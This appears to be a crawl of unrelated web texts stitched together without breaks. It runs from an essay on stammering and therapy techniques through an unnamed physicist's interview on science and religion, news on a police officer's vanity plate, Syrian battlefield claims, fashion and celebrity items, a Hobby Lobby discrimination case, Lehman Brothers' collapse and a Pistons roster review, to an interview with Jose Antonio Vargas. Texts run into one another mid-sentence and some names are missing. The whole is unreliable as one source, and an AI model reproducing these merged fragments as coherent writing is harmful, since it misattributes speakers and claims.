One such example is when ordering a ticket at a train station, at rush hour, when there is a queue of people behind you waiting for you to finish. For people with severe stammers, such situations can definitely lead to extreme anxiety and stress responses. In such situations I would argue that trying to resist time pressure and “take your time” is not only futile, but also counterproductive, inasmuch as it is likely to provoke palpably negative responses from the people behind you who are worried about missing their train. So what can one do? Definitely, it is good to try and ask for the ticket. But, if you doubt your ability to get the words out more or less straight away, it will be much less traumatising for you if you have a pre-prepared note ready and waiting that you can show the ticket person should your speech let you down. Indeed, if you have a written back-up ready and waiting, it greatly increases the chances that you will be able to successfully ask for the ticket… because the knowledge that you have a written back up will stop you worrying about not being able to get the message across.
It will be much less traumatising if you have a pre-prepared note you can show the ticket person should your speech let you down.
Substituting words, or giving up
A second unhelpful assumption is… “It’s always bad to substitute words or to give up”.
Certainly I believe it’s always good to try and say the words we want to say – once, or perhaps twice. But, if a word still won’t come out, to then keep on trying to say it increases the likelihood of eliciting negative listener responses and increases the likelihood that you will be traumatised.
Certainly I believe it’s always good to try and say the words we want to say – once, or perhaps twice.
Often when we get stuck on a word, the listener can guess or predict what that word is… in which case why not just skip it and move on? Alternatively, we may be able to insert an equivalent word in its place; or we might be able to make ourselves understood with gestures; or we may be able to write it down. Or we may simply be better off giving up and perhaps trying again at another time, or in another way. Any of these alternative options are likely to be less traumatising than continuing to try to say a word that won’t come out. They may sound like forms of avoidance, but they are not – as long as we have indeed tried (once) to say the desired word. (Webmaster’s note: ‘Avoidance’, which is common amongst people who stammer but generally discouraged by therapy and self-help approaches, involves disguising one’s stammer by, for example, switching words or avoiding some speech situations: see the ‘Avoidance’ tag.)
Therapy techniques leading to negative reactions
Similarly, some traditional speech therapy techniques may elicit negative responses from listeners, especially if those techniques require us to slow down or to repeat words we have already said. One such example is that of “Cancellations”, which are routinely taught in the UK as a part of Block Modification Therapy (Van Riper, 1973).2
Van Riper encouraged students to do cancellations in real-life situations. The idea behind them was to prevent students from further reinforcing their tendency to use force to push through blocks by withholding the reward of successful communication until after they have gone back and said the problem word “correctly”.
However, to my mind Van Riper’s reasoning greatly underestimated the potential for traumatic consequences of trying to employ this technique in real-life situations. In particular, it overlooks the fact that cancellations can be frustrating for the listener (who more often than not will have already understood or guessed the word being repeated) and can result in the speaker experiencing acute feelings of time-pressure.
I agree with Van Riper that it is important not to reinforce the habit of pushing through blocks. The use of force to push through blocks definitely does more harm than good. However, to my mind, cancellations are not a sensible alternative. If anything, cancellations probably increase the tendency to block in the future3. Whatever the case, there are better ways of going beyond blocks - that do not reinforce the use of force and that do not require us to keep trying to make movements we cannot make.
Approaches should encourage us to say what we can
On a broader note, I would argue that therapy and self-help approaches are likely to work best when they encourage us to get on with saying what we can say rather than to keep trying to say things that we can’t say. To keep going back wastes time and increases the feeling that one is under time-pressure. Consequently, if we can’t say a sound or a word more or less straight away, it is better to give up trying to say that sound or word and move on. In so doing, we increase the chances that the listener will be able to guess any missing words from the overall context. Then, on the odd occasion where it’s really necessary in order to get a message across, we should feel free to substitute a different word or use an alternative mode of communication.
If we can’t say a sound or a word more or less straight away, it is better to give up trying to say that sound or word and move on.
Psycholinguistic studies of typically fluent speech show that speakers frequently miss out sounds and even whole words, and that these omissions do not reduce the comprehensibility of what they say (McClelland & Elman, 1986). Indeed, as often as not, listeners don’t even notice when sounds or words have been missed out. Such evidence suggests that, generally speaking, to maximise the chances of successfully getting a message across, and to minimise the likelihood of being traumatised, on balance it is generally more useful to focus on maintaining the forward flow of our speech than on trying to clearly enunciate each and every word.
Footnotes
1. Here, I am specifically referring to the 70% concordance rates for stuttering in identical twins compared to for non-identical twins. e.g. 72% vs 9% (Bloodstein 2008) ; 52% vs 12% (Ooki, 2005). Back.
2. Cancellations involve the following… When you start to stutter on a word, continue on to the end of that word. Then pause deliberately and then say it again, gently, in slow motion before continuing on. Back.
3. I should emphasise that it is just this one particular aspect of Block Modification therapy (known as Cancellations), that I believe does more harm than good. Other components of block modification therapy can play a valuable role in stammering management. Back.
Bijleveld, H.-A. (2015). Post-traumatic Stress Disorder and Stuttering: A Diagnostic Challenge in a Case Study. Procedia-Social and Behavioral Sciences, 193, 37-43.
Bloodstein, O. (1975). Stuttering as tension and fragmentation. In J. Eisenson (Ed.), Stuttering: A second symposium (pp. 1-96). New York: Harper & row.
Bloodstein, O., & Bernstein Ratner, N. (2008). A handbook on stuttering (6th ed.). NY: Delmar.
Brocklehurst, P. H., Lickley, R. J., & Corley, M. (2013). Revisiting Bloodstein's Anticipatory Struggle Hypothesis from a psycholinguistic perspective: A Variable Release Threshold Hypothesis of stuttering. Journal of communication disorders, 46(3), 217-237.
Buehner, M. J. (2014). The psychology of time and causality. Euresis Journal, 7, 3.
McClelland, J. L., & Elman, J. L. (1986). The TRACE model of speech perception. Cognitive psychology, 18(1), 1-86.
Ooki, S. (2005). Genetic and environmental influences on stuttering and tics in Japanese twin children. Twin Research and Human Genetics, 8(01), 69-75.
Perkins, W., Kent, R., & Curlee, R. (1991). A theory of neuropsycholinguistic function in stuttering. Journal of Speech and Hearing Research, 34(4), 734.
Porges, S. W. (2011). The Polyvagal Theory: Neurophysiological Foundations of Emotions, Attachment, Communication, and Self-regulation (Norton Series on Interpersonal Neurobiology): WW Norton & Company.
Van Riper, C. (1973). The treatment of stuttering: Prentice-Hall Englewood Cliffs, NJ.Nobel-winning physicistis often called one of the most influential living scientists in the world. Besides his seminal work on particle physics and several other books on science, the 82-year-old American has just come out with an account of the birth of modern science titled 'To Explain the World'. He talks toabout the tension that exists between religious belief and science:It is nonsense to suppose that modern scientific and technological knowledge was already in the hands of people thousands of years ago. Though much has been lost, we have enough ancient texts from Greece, Babylon, India, etc to show not only that early philosophers did not know these things, but that they had no opportunity to learn them.We have learned to keep questioning past ideas, formulate general principles on the basis of observation and experiment, and then to test these principles by further observation and experiment. In this way, modern physical science (and to an increasing extent, biological science as well) has been able to find mathematical laws of great generality and predictive power. Our predecessors in the ancient and medieval world often believed that scientific knowledge could be obtained by pure reason, and where they understood the importance of observation, it was passive, not the active manipulation of nature that is characteristic of modern experiment.Further, their theories of the physical world were often muddled with human values or religious belief, which have been expunged from modern physical science.It is impossible to say why the scientific revolution occurred precisely when and where it did. Still, we can point to several developments in former centuries that prepared the ground for the scientific revolution.One was the Renaissance of the 15th and 16th centuries, which led to an increased concern with the real world and a turning away from scholastic theology. Another was the invention of printing with moveable type, which made it possible for the books of scientists such as Copernicus and Galileo to circulate rapidly throughout Europe.Looking further back, we can point to the growth of universities from the 13th century onward. Although these grew out of schools associated with Christian cathedrals, they became havens for secular scientific research, for Buridan and Oresme at Paris, for Galileo at Padua and Pisa, and for Newton at Cambridge.There are few people today who will deny the value of science, but there are many who are terribly confused about the content of scientific knowledge. They doubt the conclusions of geophysicists regarding global warming, and they think that it is still an open question whether evolution through natural selection is responsible for the origin of species. It is good to keep an open mind, even about the conclusions of experts, but there comes a point at which issues become settled. It is silly to keep an open mind about whether the Earth is flat.Certainly not. There are fine scientists (though not many) who are quite religious. But there is a tension between science and religious belief. It is not just that scientific discoveries contradict some religious beliefs. More importantly, when one experiences the care and open-mindedness with which scientists seek truth, one may lose some respect for the pretensions of religion to certain knowledge.By seeking scientific knowledge over many centuries, we have developed a sense of the sort of scientific principle that is likely to describe nature, and we have come to think of such principles as beautiful, in the same way that a designer of sailboats develops a sense of the sort of design that will sail well, and comes to think of such sailboats as beautiful. There is no simple prescription for the beauty of a scientific theory, but it surely includes rigidity, the property that the details of the theory cannot easily be altered without destroying the consistency of the theory.Home Daily News Can cop have 0INK as his vanity plate? Top…
Constitutional Law
Can cop have 0INK as his vanity plate? Top state court mulls First Amendment case
An Indiana cop may be on the verge of regaining his treasured 0INK vanity plate.
The state’s top court heard arguments Thursday on a class action pursued by Greenfield police officer Rodney Vawter, with the help of the American Civil Liberties Union of Indiana, after his renewal application for the 0INK license plate was denied, the Associated Press reports.
Solicitor General Thomas Fisher told the Indiana Supreme Court that the state has a right to reject offensive messages on license plates, pointing to a recent U.S. Supreme Court decision that upheld the right of Texas to reject specialty plates displaying a Confederate flag image. But in the complaint (PDF) Vawter filed in Marion Superior Court in 2013 he said the state’s vague standards violated the First Amendment right to free speech and the 14th Amendment right to due process.
Ken Falk, legal director for the ACLU of Indiana, told the supreme court that the state’s “Wild West” system of approving vanity plates is clearly biased toward certain viewpoints, since, for example, Indiana has regularly approved plates with religious messages, the Indianapolis Star reports.
In his complaint, Vawter explains that he chose to use the verbal pig snort on his license plate for his personal vehicle because “as a police officer who has been called a ‘pig’ by arrestees, he thought it was both humorous and also a label that he wears with some degree of pride.” He also alleges that “in discussing this with fellow officers, he has found that they also generally found his license plate to be humorous and not derogatory or malicious.”
When the state motor vehicles bureau denied his license renewal application in 2013, it cited a state law that prohibits plates that are “misleading” or carry “a connotation offensive to good taste and decency.”
However, a trial court judge agreed with Vawter and the ACLU last year that the state’s program of approving vanity plate messages was unconstitutional, as the Indianapolis Star reported at the time. The judge also told the state to OK an applicant’s requested UNHOLY license plate.
As a result of the ruling, the state put a freeze on issuing personalized license plates to anyone.On Monday morning, a contingent from the Syrian Arab Army’s (SAA) 2nd Army Corps captured the highest elevated hill in the Aleppo Governorate at Tal Madafa, killing over 20 militants during the battle. According to a military source, the SAA advanced to this hill after capturing the Cement Factory near Jubeileh, pushing their way up the steep hill and rugged terrain. Tal Madafa is located directly north of the recently captured village of Handarat.
Also in the vicinity of Handarat, the SAA captured the Halabi Farms (Mazra’a Halabi) from ‘Ahrar Al-Sham, killing a confirmed 13 militants in the process. Halabi Farms is a large rural area that was untouchable 4 months ago for the SAA; however, the Islamic Front’s loss of Handarat has paved the way for SAA tanks to maneuver freely in this rough area.
AdvertisementsThe current era of men’s fashion is one of experimentation and risk unlike any we’ve seen. And though there are tons of trends that are just blips on the radar, some of the biggest shifts of the last few years are definitely here to stay. Like joggers, Longline shirts were first dismissed as a passing fad. However, the shirts have shown true staying power. If you don’t have one in your personal collection, it’s time to upgrade. And with a few simple guidelines, you can pull them off like a streetwear pro.
In a nutshell, a Longline shirt is your normal tee on steroids. It’s defined by its extra-long length. The style was first popularized by Givenchy head designer Riccardo Tisci’s designs for Kanye West.
The best way to rock your Longline shirt is with slim or skinny jeans and pants. Considering that your shirt is oversized, you need to play with proportion to keep your look in fashion forward territory. If you insist on wearing a more relaxed style of pants with your Longline tee, make sure those pants are tapered or cuffed at the leg opening. If every part of your look is oversized, you won’t look like an expert on the cutting edge of fashion-you’ll just look sloppy.
If you’re rocking a Longline shirt on a chilly evening, toss on a bomber jacket. The shorter jacket option hits right at your waist and adds an even more complex take on proportion.
For those just starting out with Longline shirts, try solid color options like our Basic Curved Hem Longline T-shirts with Side Zipper or Longline Crewneck Tshirts with Zippers. They’re the perfect introduction to what’s sure to become your new favorite style.
In the quest to figure out which streetwear trends are momentary obsessions and which ones are permanent fixtures, you can rest assured that Longline tees will be around for years to come.Idina Menzel is all about Elsa, no matter who she loves.
The Frozen star spoke to ET on the Billboard Music Awards red carpet in Las Vegas about the recent petition, #GiveElsaAGirlfriend, which is calling for the Disney princess to have a female love interest in the sequel. The petition has been gaining some traction on the internet through the LGBTQ community.
"I think it's great," she told ET on Sunday of the online campaign. "Disney's just gotta contend with that. I'll let them figure that out."
MORE: 9 Things That Absolutely Need to Be in the 'Frozen' Sequel or We'll Plunge Disney Into Deep, Deep, Deep Snow
"No matter what," Menzel said, adding Elsa "changed my life."
And basically the entire world's!
MORE: Disney Is Officially Making 'Frozen 2'! Plus, Listen to the New Song From 'Frozen Fever'
There are two people on Earth who aren't the biggest Frozen fans however... and they just happen to be the daughters of Menzel's co-star, Kristen Bell!
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The Supreme Court’s decision in Burwell v. Hobby Lobby Storesrevealed just how far the law now allows corporations to reach into women’s private lives. Now, another case against the same craft store chain is reaching into the ladies’ room as well. Ad Policy
Meggan Sommerville, a Hobby Lobby frameshop manager in Aurora, Illinois, has for years been shut out of the store’s bathroom because her boss insists that, as a trans woman, she cannot use the facilities. She is pressing a discrimination case with the Illinois Human Rights Commission, contending that the ban is both insulting and illegal under state laws barring discrimination in both employment and in public accommodations. The lockout has become a full-fledged civil rights battle—and perhaps the next legal showdown in the debate around corporate personhood, religion and civil rights at work.
A sixteen-year Hobby Lobby employee, Sommerville underwent her transition in 2010, and after informing her manager and having her legal identity changed, she says that her coworkers and customers have been supportive throughout the process. But for management, the bathroom door remains a bridge too far. The company’s persistent rejection of her demand for equal access seems to reflect the ideology that drove its Supreme Court crusade against contraceptive insurance mandates under the federal healthcare law. Hobby Lobby’s willingness to flout public mandates to impose conservative values suggests that bias against transgender workers may be another way the company tries to “live out our faith in the way we do business.”
As reported by Newsweek, Sommerville’s pending case, which was first brought in 2011 (and reinstated by the state Human Rights Commission after initially being dismissed by the Human Rights Department for lack of evidence), is arguably an even more explicit example of a culture war being waged in the workplace. According to the complaint, Hobby Lobby’s management states that unless she would “undergo genital reconstructive surgery” she would not receive equal treatment as a female employee.
When Sommerville showed up for work just after having her name officially changed, she recalls, “I was told I would not be |
, but as soon as a suitable turf wicket venue becomes available in New York, don't be surprised to see the league leave Florida behind.A breakdown in communications at the highest level between the US and the UK led to the shock collapse of the investment bank Lehman Brothers in September last year, a Guardian/Observer investigation has revealed.
The downfall of Lehman, which triggered the biggest banking crisis since the Great Depression, came after a rescue bid by the high street bank Barclays failed to materialise.
In London, the Treasury, the Bank of England and the Financial Services Authority all believed that the US government would step in with a financial guarantee for the troubled Wall Street bank. The tripartite authorities insist that they always made it clear to the Americans that a possible bid from Barclays could go ahead only if sweetened by US money.
But in Washington, the former Treasury secretary Hank Paulson has blamed Lehman's demise on Alistair Darling's failure to let Washington know of his misgivings until it was too late. Paulson has told journalists that during a transatlantic phone call the chancellor said he was not prepared to import the American "cancer" into Britain – something Darling strongly denies.
With finance ministers and central bank governors from the G20 countries meeting in London on Saturday, the first-hand accounts of those handling last year's events underline a rift between London and Washington over who was to blame for the demise of Lehman, which triggered a month of mayhem on the financial markets.
Lehman's demise sent shock waves around an already fragile financial system and raised fears that any bank, anywhere in the world was vulnerable to collapse. Within three days, HBOS had been rescued by Lloyds TSB. A month later RBS, HBOS and Lloyds were propped up with an unprecedented £37bn of taxpayer funds.
Hector Sants, the chief executive of the Financial Services Authority, said: "I have sympathy for the US authorities given the complexity of the problems they faced that weekend but I do believe it was a mistake to let Lehman's fail." As well trying to find a solution for Lehman, the US authorities were also aware that Merrill Lynch was on the brink and that weekend it was taken over by Bank of America.
While admitting the UK authorities had botched Northern Rock a year earlier, Sants said the collapse of Lehman had more dire consequences. "Without the future market shock created by Lehman Brothers' collapse, RBS may not have failed," said Sants.
"Was Lehman the cause or was it the manifestation? It was our view that if Lehman had been supported you would not have seen such a dramatic reduction in liquidity."
Sir John Gieve, deputy governor of the Bank of England last September, said: "It was a catastrophic error. It caused a loss of confidence in the [US] authorities' ability to handle the financial crisis which really did change things and proved hugely costly."
The UK tripartite authorities – the FSA, the Bank of England and the Treasury – had expected the US government to stand behind Lehman in the way that it had backed two crucial mortgage lenders the previous week and helped to orchestrate the bailout for Bear Stearns in March.
No explanation has ever been given for the lack of government funds offered in the final weeks of the Bush administration, which had to step in to prop up the insurance company AIG days after Lehman's demise.
The UK tripartite authorities were concerned about the financial system in the spring of 2007 and asked their American counterparts to participate in a "war game" to prepare for the collapse of a major US bank and develop a response to a financial crisis. However, the war game, which was to have included the UK, Switzerland, the Netherlands and the US, never took place because of a lack of willingness to participate by the US regulatory bodies.As May turned to June, the Pistons had two holes in their starting lineup, a potential issue at point guard given the status of their own free agent there, a dearth of frontcourt depth and two obvious means of addressing those issues: cap space and a lottery pick.
Today, they’re down to figuring out how to make an excess of wing players fit into the available roster spots and the timing of contract signings to best utilize the cap space still remaining.
There are nearly three months before training camp opens, so plenty of time for further tinkering – like Monday’s deal that sent Quincy Miller to Brooklyn for further protection at point guard in veteran Steve Blake – and to entertain a more substantial move should such an opportunity present itself.
But the expectation is that the heavy lifting of the off-season is finished. Here’s a look at how the Pistons have reshaped themselves.
POWER FORWARD – The odds tipped in favor of Greg Monroe exiting Detroit the moment he signed a qualifying offer instead of a contract extension last summer. And by the time the season wound down, with the Pistons going 7-4 in the 11 games Monroe missed due to injury, it became prohibitively unlikely the two sides would find a reunion mutually beneficial.
The Pistons acknowledged the unlikelihood of a successful pursuit of Monroe by trading for Ersan Ilyasova in mid-June. In essence, it was a commitment of about 30 percent of their available cap space on a power forward who would have likely commanded significantly more than his 2015-16 salary of $8 million had he been on the market this summer, when salaries spiked in anticipation of next year’s salary cap leap.
Ilyasova is a career 37 percent 3-point shooter and a guy not afraid to stick his nose in the fray, two qualities that should endear him to Van Gundy. He just turned 28, too, and with one year plus a team option on his contract, he offers the Pistons both value and flexibility.
Anthony Tolliver proved his fit as a backup after his December arrival from Phoenix and gets to continue in that role with Ilyasova’s acquisition. Do the Pistons need a third power forward? Van Gundy doesn’t believe they do with the positional versatility provided by center Aron Baynes and small forward Marcus Morris.
SMALL FORWARD – The trade for Ilyasova sent out two players with non-guaranteed deals, one of them – Caron Butler – who finished the season as the nominal starter at small forward. That left only Cartier Martin as a natural small forward left.
The Pistons didn’t target a position in the draft, but got a player they had rated higher than No. 8, Stanley Johnson, with the eighth pick to factor into the equation at small forward. Even if Johnson wasn’t one of the younger players in the draft – he turned 19 less than a month earlier – they weren’t about to assume he’d win a starting job, though.
The most realistic targets in free agency, Danny Green and DeMarre Carroll, were gone before the Pistons had a chance to pitch them. Green took what soon became obvious as a discount to stay in San Antonio. Carroll was blown away by a reported $60 million offer from Toronto.
But when Phoenix needed to create cap room in the event it won the bidding for coveted free agent LaMarcus Aldridge – who eventually chose San Antonio – the Pistons happily committed another chunk of their cap space for Marcus Morris, a young veteran capable of starting or coming off the bench at either forward spot. It was a move, Van Gundy said, he would have made in a heartbeat had it been available to him before free agency began.
For less than a third of the annual commitment Toronto made to Carroll, the Pistons have four years of control of Morris – a player they think could be ready to blossom in the way Carroll, more than 3 years older than Morris, did after arriving in Atlanta two years ago.
Johnson, meanwhile, showed clear evidence in Summer League that he’ll be a factor this season in whatever role Van Gundy chooses for him. Martin could be the No. 3 guy here if he has a strong camp, but Reggie Bullock – acquired in the trade that brought Morris from Phoenix – could also force his way into the picture.
CENTER – The Pistons had 48 minutes of high-level center play last season with Andre Drummond as the starter and Greg Monroe taking the vast majority of the minutes whenever Drummond sat. Joel Anthony was the ideal No. 3 center for his readiness to step in despite sporadic opportunity, a tough ask of any player.
The Pistons hit free agency needing two backups to Drummond. They made their big splash in free agency by landing Spurs center Aron Baynes, a late bloomer whose mid-range jump shot gives Van Gundy another weapon offensively and flexibility in modes of attack.
Baynes played a meaningful role for San Antonio, starting 17 times and averaging 16 minutes a game. It can’t hurt that he’s groomed in an offensive system that puts a premium on ball movement. He’s about as sure a plug-in-and-play candidate as the Pistons could have hoped to get in free agency and Van Gundy made clear on Sunday, when Baynes was formally introduced as a Piston, that he envisions times when Baynes and Drummond play together against bigger lineups – and Baynes’ shooting makes it a pairing that shouldn’t hamper the Pistons offensively or crowd the paint to the detriment of Reggie Jackson’s penetration opportunities.
Retaining Anthony as the No. 3 center, one of the formalities ahead, would give the Pistons a nice blend of skills and enviable depth at the position.
SHOOTING GUARD – No position seemed more settled heading into the off-season and it stands to reason that the two guys who gobble up the 48 available minutes there next season are Kentavious Caldwell-Pope and Jodie Meeks. But Bullock, the 25th pick in 2013, projected out of college as a potential premier 3-point shooter. He hasn’t really had a chance to play much and it won’t be easy to crack the rotation – or the roster – with the Pistons, either. But he’s interesting.
Bullock’s path is further crowded by second-round pick Darrun Hilliard, whose court sense and shooting stroke impressed in Summer League practices and games. Hilliard might not be ready to challenge for minutes out of the gate, but the Pistons are high on his potential. Bullock’s path to playing time, other than showing a consistent shot, is his size and defensive promise.
POINT GUARD – The Pistons’ decision to commit to Reggie Jackson as their point guard essentially was made at the trade deadline. But it sure didn’t hurt that after settling in, Jackson played at an All-Star level for the season’s final month-plus. Over the last 16 games, Jackson averaged 20 points, 11 assists and five rebounds and made nearly half his shots – almost 40 percent from the 3-point arc.
The trade for Jackson cost the Pistons some of their shooting and depth, but Van Gundy has addressed both issues in the past month. Those two factors should ease some of the constant playmaking pressure for Jackson.
Brandon Jennings’ successful return from Achilles tendon repair would be a huge boost for the position. In the 12-3 stretch that ended when Jennings got hurt in late January, he, too, was playing at an All-Star level. A healthy Jennings would anchor a second unit that has high-end scoring punch. But Jennings could be much more than a backup point guard. It’s not hard to envision a three-guard rotation of Jennings, Jackson and Caldwell-Pope given Jackson’s size and ability to guard at either backcourt spot.
In the event Jennings isn’t ready to go 100 percent, the Pistons bought themselves insurance with this week’s trade that sent Quincy Miller to Brooklyn for Steve Blake, a 35-year-old long valued for his basketball IQ and 3-point threat.
Spencer Dinwiddie had ups and downs in Summer League, but it’s always tough for point guards to perform efficiently in that setting given the lack of cohesion on offense as new teammates come together and the constant pressure applied by guards auditioning for No. 3 point guard roles in the NBA – where the ability to hound the ball is coveted foremost – and international roster spots. The Pistons saw enough of Dinwiddie as a rookie to expect he’ll be an effective option if he improves his shooting.
SUMMARY – Some years teams go to training camp with the 15 roster spots locked up and the only suspense, if any, is in determining the back end of the rotation. The Pistons are likely headed to camp with four or five players fighting for the last two roster spots. There might not be room for four shooting guards, meaning Bullock might have to convince the coaching staff he’s a legitimate option to defend at small forward, as well.
Adonis Thomas, a D-League star who got a long look in Summer League and will come to camp, will be in the mix at the two wing positions, as well. Cartier Martin never cracked the rotation last season and has one year remaining on a veteran minimum deal. Veteran Danny Granger, an All-Star in his prime, came in the trade with Phoenix and Van Gundy said Sunday it’s not a given that he’ll be waived.
That’s 18, three over the limit, with all but Thomas on a guaranteed deal. No decisions are necessary until the end of October and it’s possible it will have been sorted out long before then. But it could be a most competitive training camp with five or six players competing for the last two or three available spots.LOEN Entertainment is getting ready to unveil their first ever male idol group 'HISTORY'!
The agency, who launched their first girl group FIESTAR last year, will be launching their 5-member 'alternative group' on the 26th. 'HISTORY' stands for 'HIS STORY', and the group aspires to grab the hearts of music lovers through music and performances unique to them.
LOEN added, "HISTORY is an 'alternative group' that is not defined by a specific genre but rather by their passion for music. The group will go beyond the standard sound and performances and establish a new paradigm in K-pop."
"HISTORY is the next group to come from the agency behind�IU, Ga In, Zia, Sunny Hill, and FIESTAR, and have been fully preparing for their debut. We ask for your love and support for HISTORY who will make their debut on April 26th," they concluded.
Along with the announcement came the unveiling of the first two members�Kim Si Hyung and 'Birth of A Great Star 2's Jang Yi Jung.
All the members will be introduced one by one starting on the 15th, so be on the look out!
[Thanks to all those who sent this in!]Despite several advocates referring to the surge as a “humanitarian crisis,” the unaccompanied children — many of whom are potential asylum seekers — have been met with protests, anti-immigration rhetoric, and political stalemate.
Though the overall number of undocumented migrants crossing the border has dropped in recent years, the polarized debate about immigration has reignited this summer over a surge in the number of undocumented minors fleeing poverty and crime in Central America and crossing into the US.
Vargas, who outed his immigration status in a story he wrote for the New York Times Magazine in June 2011 and runs the “ Define American ” immigration-awareness campaign, was released hours later, but his brief incarceration helped bring attention to the difficulties faced by thousands of undocumented people in the Rio Grande Valley — where border patrol checkpoints extend well into US territory.
Jose Antonio Vargas — America's best known undocumented immigrant — was detained last week while attempting to pass through airport security at a Border Patrol checkpoint in McAllen, Texas, where he had traveled to report on the experience of undocumented migrants.
Read more
Jose Antonio Vargas — America's best known undocumented immigrant — was detained last week while attempting to pass through airport security at a Border Patrol checkpoint in McAllen, Texas, where he had traveled to report on the experience of undocumented migrants.
Vargas, who outed his immigration status in a story he wrote for the New York Times Magazine in June 2011 and runs the “Define American” immigration-awareness campaign, was released hours later, but his brief incarceration helped bring attention to the difficulties faced by thousands of undocumented people in the Rio Grande Valley — where border patrol checkpoints extend well into US territory.
Here's a photo of — Ryan Grim (@ryangrim)July 15, 2014
Though the overall number of undocumented migrants crossing the border has dropped in recent years, the polarized debate about immigration has reignited this summer over a surge in the number of undocumented minors fleeing poverty and crime in Central America and crossing into the US.
Despite several advocates referring to the surge as a “humanitarian crisis,” the unaccompanied children — many of whom are potential asylum seekers — have been met with protests, anti-immigration rhetoric, and political stalemate.
Undocumented immigration activist Jose Antonio Vargas detained at a Texas airport. Read more here.
VICE News caught up with Vargas and discussed the crisis on the border, xenophobia, stalled reform in Washington, and the way forward for immigration advocates.
VICE News: We published a piece some time ago called “Whatever Happened to Immigration Reform?” It seemed to have just vanished from public discourse. What do you think happened, and why?Jose Antonio Vargas: Republicans say they cannot trust President Obama to enforce the laws. The same President Obama, mind you, that has enforced the law in record numbers: nearly 2 million deportations in five years, so much so that he has become 'Deporter-in-Chief.' And that summarizes where immigration reform is: imprisoned by partisan politics, particularly by House Republicans in a dysfunctional Congress battling Obama. Meanwhile, congressional Democrats look on while detentions and deportations continue.
'To me, the downright racist and xenophobic reactions of some Americans towards the Central American children... signify the real fear and anxiety we have towards our growing Latino population.'
As reform stalled, the immigration debate seems to have moved on to more urgent tasks, such as stopping deportations, that need to be dealt with because of the absence of reform. Do immigration advocates like yourself keep fighting both fights? How do you prioritize?Stopping deportations and needless separations of families is priority number one. But there are many fights on multiple fronts and all hands are on deck. We fight against detentions, fight for continued relief for immigrants (like expanding the Obama administration’s deferred action program), fight for the dignity of undocumented workers, and fight for changing the culture in which we talk about immigrants and their roles in our diversifying society. Passing immigration reform won’t solve everything. That’s why at Define American we are committed to challenging media and creating media to change culture.
Wave of unaccompanied Central American kids overwhelms US holding facilities. Read more here.
In recent weeks there have been a number of anti-immigration rallies across the country, some of them targeting unaccompanied minors in particular. All this despite the fact that the number of immigrants caught crossing the border remains, overall, at near record-low levels. Where does all this fear and rejection come from, particularly when it comes to children?Save for Native Americans, who owned this land, and African-Americans, whose forced migration built this country, we are a country of immigrants who are always wary of newer immigrants. Look at the history of the Irish immigrants, the history of Italian immigrants, the history of the Chinese Exclusion Act.
'America is White and Black and Latino and Asian. America is mixed. America is immigrants.'
To me, the downright racist and xenophobic reactions of some Americans (and politicians) towards the Central American children — “Deport the children! Deport them now!” — signify the real fear and anxiety we have towards our growing Latino population. Latinos are the largest minority group in the US, Asians the fastest-growing racial group. For all the struggles that the new Irish and Italian immigrants faced, many decades later they were considered as Whites. I’m not sure if Latinos and Asians will ever be considered as Whites. And, frankly, I'm not even sure what being “White” means. White is a social construct, like Black. And with young immigrants (mostly Latino and Asian, from all ethnicities) remaking our country, the question is: how do you define American?
Politics aside, does the rejection of immigrants say something bigger about our society as a whole, our collective capacity for compassion not only toward foreigners, but also toward the poor or the “different?”It’s not just immigrants — the “other” in America is all of us. Demographically and culturally, that’s where we are headed. For most of our history, America has always been defined by the White and Black dynamic. That’s no longer the case. America is White and Black and Latino and Asian. America is mixed. America is immigrants. America is the “other,” and we must embrace the “other” in all of us.
'With all the billions of dollars and manpower that we’ve spent on the “border,” what exactly are we protecting ourselves from? Who exactly are we fearing?'
US-Mexico border patrol agents can get away with pretty much anything. Read more here.
When you were detained last week, I think a lot of people were surprised to learn that there are immigration checkpoints well into US territory, and not just along the border. How legal is this, and how is this presence challenged?I’ve been traveling non-stop for the past three years but that was my first time at the Texas border, which is some kind of overly militarized, Constitution-free zone in which checkpoints and border security are not only ubiquitous, but a way of life. It’s normal. Look, I understand the argument that a civilized country needs to determine and protect its borders. I get that. But with all the billions of dollars and manpower that we’ve spent on the “border,” what exactly are we protecting ourselves from? Who exactly are we fearing? What exactly is at stake?
I think we — individually and collectively — must challenge how we fund and politicize this border. And we must learn about the history of this border: the role of NAFTA and trade agreements in Mexico and Central America, the fact that Mexico used to own Texas, the reality that the migration of people is natural.
What were you working on in Texas, and what did you find there?Frustrated by the media coverage and political rhetoric surrounding this humanitarian crisis, I flew to the Rio Grande Valley to join other undocumented immigrants from a local group called the Minority Affairs Council visiting a shelter for Central American children and refugees, and to participate in a vigil in their honor. Define American produced a couple of videos from our time inside the shelter, interviewing a volunteer and a refugee. Deep thanks to my friend Paola Mendoza, a wonderful filmmaker, for doing the interviews.
Shortly after arriving in the valley, I found that I knew nothing about undocumented life in a Texas border town, where checkpoints and border patrol agents are parts of everyday life and undocumented immigrants are basically trapped.
Do you agree with people who characterize the current situation as an “immigration crisis,” and do you think we have reached some sort of breaking point, or is there a risk that things will continue to go on as they have, with political solutions continuing to stall? Are progressive measures such as New York City’s municipal ID, to name one, just small gestures to patch up the problem, or do they constitute a basis for a more fundamental change to come?For undocumented immigrants, every day is a struggle and every bit of relief counts. Since Congress, particularly House Republicans, refuses to act and find a solution, it’s up to Obama to provide relief to immigrant families. Cities and states have a role to play too, from offering municipal IDs to issuing drivers’ licenses to their undocumented residents who live, work, and contribute in their communities.
'Parents send children to America for a better life, not to crash some party.
Young and alone: the growing humanitarian crisis at the US-Mexico border. Read more here.
Some immigration critics are rallying against the so-called “Central American exception.” The US has a very problematic history in the region and US support for certain Central American governments has contributed in a very real way to current migration waves from many of these countries. Does the US have a particular moral, “historical” responsibility toward these people?
Let me quote Glenn Beck — yes, that Glenn Beck. To the shock of everyone, including me, this is what Glenn had to say about what you’re calling “a very problematic history”:
America has meddled in the affairs of Latin America for long enough. America needs to zip her mouth. We had the Monroe Doctrine, the Mexican-American War, our involvement in the Mexican revolution, Nixon's support of the violent Chilean coup in 1973. Progressives on both sides have routinely practiced intervention in the name of our national interests. Well, let me quote Dr. Phil. How's that working out for you? For all of our efforts, our nation's backyard is now one of the most corrupt places, violent places, on planet Earth, and now it's spilling in to our backyard, right into our backyard. It's not even on their neighbor's side of the fence anymore. It's right here.
The only IDs I have for security: Philippine passport and my pocketbook US Constitution — Jose Antonio Vargas (@joseiswriting)July 15, 2014
'People use the words "illegal" and "Mexican" interchangeably. As if all Mexicans are undocumented. As if all Latinos are Mexicans. As if there’s something wrong with being Latino or Mexican.'
